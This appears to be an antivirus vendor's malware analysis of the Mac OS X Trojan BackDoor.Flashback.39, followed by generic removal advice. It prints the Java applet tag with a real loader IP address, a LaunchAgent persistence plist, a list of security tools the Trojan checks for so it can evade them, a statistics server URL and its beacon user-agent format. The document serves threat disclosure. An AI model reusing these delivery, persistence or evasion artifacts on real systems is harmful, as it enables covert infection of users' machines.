BackDoor.Flashback.39

The Trojan horse for Mac OS X. Exploits a Java vulnerability to infect a system. Installation parameters are transferred with the applet parameters. Example:

<object type="application/x-java-applet" width="0" height="0">
<param name="s" value="1"/>
<param name="q" value="2"/>
<param name="svname" value="com.zeobit.keep">
<param name="svbname" value="mkeeper">
<param name="dname" value="Software Update">
<param name="lurl" value="31.31.79.87">');
<param name="archive" value="al-2.jar">
<param name="code" value="a.apl">
</object>

An exploit saves the executable and plist-file responsible for its launch to the hard drive.

<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key><string>com.zeobit.keep</string>
<key>ProgramArguments</key><array><string>/Users/<username>/.mkeeper</string></array>
<key>RunAtLoad</key><true/>
<key>StartInterval</key><integer>4212</integer>
<key>StandardErrorPath</key><string>/dev/null</string>
<key>StandardOutPath</key><string>/dev/null</string>
</dict>
</plist>

Once launched, the Trojan searches for the following components in the system and if at least one of them is found, the Trojan process ends:

* /Library/Little Snitch
* /Developer/Applications/Xcode.app/Contents/MacOS/Xcode
* /Applications/VirusBarrier X6.app
* /Applications/iAntiVirus/iAntiVirus.app
* /Applications/avast!.app
* /Applications/ClamXav.app
* /Applications/HTTPScoop.app
* /Applications/Packet Peeper.app

After that it sends an installation success notification to a statistics server:

http://46.17.63.144/stat_svc/

It generates a list of command servers and sends consecutive queries at control server addresses. The GET requests include the following string in the user-agent field:

Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1; sv:%s; id:%s) Gecko/20100101 Firefox/9.0.1

Here sv is the bot version, id is a unique identifier for the machine (Hardware UUID).

After receiving a response from the control server, BackDoor.Flashback.39 searches the response for three tags:

##begin##
##sign##
##end##

If the RSA verification for the reply is successful, then the Trojan horse downloads and runs the payload on the infected machine.

Curing recommendations

If the operating system (OS) can be loaded (either normally or in safe mode), download Dr.Web Security Space and run a full scan of your computer and removable media you use. More about Dr.Web Security Space.
If you cannot boot the OS, change the BIOS settings to boot your system from a CD or USB drive. Download the image of the emergency system repair disk Dr.Web® LiveDisk , mount it on a USB drive or burn it to a CD/DVD. After booting up with this media, run a full scan and cure all the detected threats.

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Use Dr.Web Anti-virus for macOS to run a full scan of your Mac.

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After booting up, run a full scan of all disk partitions with Dr.Web Anti-virus for Linux.

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If the mobile device is operating normally, download and install Dr.Web for Android. Run a full system scan and follow recommendations to neutralize the detected threats.
If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
- Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
- Once you have activated safe mode, install the Dr.Web for Android onto the infected handheld and run a full scan of the system; follow the steps recommended for neutralizing the threats that have been detected;
- Switch off your device and turn it on as normal.

Find out more about Dr.Web for Android